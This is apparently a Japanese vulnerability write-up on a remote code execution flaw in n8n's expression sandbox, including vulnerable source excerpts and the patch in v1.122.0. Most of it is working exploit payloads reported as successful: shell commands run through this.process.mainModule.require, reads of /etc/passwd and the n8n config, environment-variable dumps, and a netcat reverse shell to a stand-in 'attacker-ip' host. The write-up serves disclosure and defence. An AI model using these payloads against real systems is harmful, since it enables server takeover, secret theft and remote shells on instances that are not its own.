日付: 2024年12月23日 ステータス: ✅ RCE 完全検証成功 CVSS スコア: 10.0 (深刻)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
実行結果: システムユーザー情報(例: uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))を正常に返す
ユーザー入力
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
data コンテキストオブジェクトの作成
↓
data.process = 実際の process オブジェクトへの参照
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ キー: this = data
↓
即時実行関数が実行
↓
this.process.mainModule.require ← ⚠️ 実際の require にアクセス
↓
child_process モジュールの読み込み
↓
execSync('id') ← 🔥 完全な RCE!
ファイル: packages/workflow/src/expression.ts
関数: Expression.resolveSimpleParameterValue()
行数: 約 230-290
// データプロキシの生成
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ 脆弱性ポイント 1: process オブジェクトを data に追加
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ 問題: ここでは一部のプロパティのみ公開しているが、オブジェクト参照を渡している
// 実際の process オブジェクトはプロトタイプチェーンなどを通じてアクセス可能
ファイル: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ 脆弱性ポイント 2: data を this として渡す
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ 脆弱性ポイント 3: new Function を使用して関数を作成
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
ファイル: packages/workflow/src/expression-sandboxing.ts
v1.122.0 以前:
// ❌ FunctionThisSanitizer がない
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← 空の配列、this のサニタイズなし
after: [PrototypeSanitizer, DollarSignValidator],
});
v1.122.0 以降:
// ✅ FunctionThisSanitizer が追加
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← 新しく追加されたフック
after: [PrototypeSanitizer, DollarSignValidator],
});
// FunctionThisSanitizer の実装
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// すべての関数式を書き換え、this を安全なオブジェクトに明示的にバインド
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// function() { ... } を function() { ... }.bind({ process: {} }) に書き換え
}
});
};
ファイル: packages/workflow/src/utils.ts
関数: isSafeObjectProperty()
v1.122.0 以前:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ mainModule, binding, _load が不足
v1.122.0 以降:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ 新規追加
'binding', // ✅ 新規追加
'_load' // ✅ 新規追加
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// 機密ファイルの読み取り
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// ディレクトリ一覧
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// n8n 設定の読み取り
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// カレントディレクトリ一覧
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// this.process 経由で直接アクセス
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// または既知の利用可能な方法
{
{
JSON.stringify(process.env)
}
}
// ネットワークツールの確認
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// ネットワークインターフェースの取得
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// リバースシェル (⚠️ 危険!許可されたテストのみ)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | 攻撃タイプ | ペイロード | 状態 | CVSS |
|---|---|---|---|---|
| 1 | 環境変数漏洩 | {{ Object.keys(process.env) }} | ✅ 成功 | 8.5 |
| 2 | Constructor バイパス | {{ [][constructor] }} | ✅ 成功 | 8.0 |
| 3 | Function コンストラクタ | {{ [][constructor][constructor] }} | ✅ 成功 | 8.5 |
| 4 | コード実行 | {{ [][constructor][constructor]('return 1+1')() }} | ✅ 成功 | 9.0 |
| 5 | 完全な RCE | {{ (function() { this.process.mainModule.require... })() }} | ✅ 成功 | 10.0 |
| # | 攻撃タイプ | 原因 |
|---|---|---|
| 1 | 直接 require | 新しいスコープでは利用不可 |
| 2 | Function コンストラクタ内の process | this が一部のコンテキストでサニタイズされている |
| 3 | process.binding / process._load | ブロックまたは制限されている可能性 |
{
{
Object.keys(process.env)
}
} // ✅ 成功
N8N_BLOCK_ENV_ACCESS_IN_NODE が true に設定されていない{
{
[][`constructor`][`constructor`]
}
} // ✅ 成功
{
{
(function () {
return this.process.mainModule.require;
})()
}
} // ✅ 成功
this は元のデータコンテキストを指すthis.process.mainModule.require にアクセス可能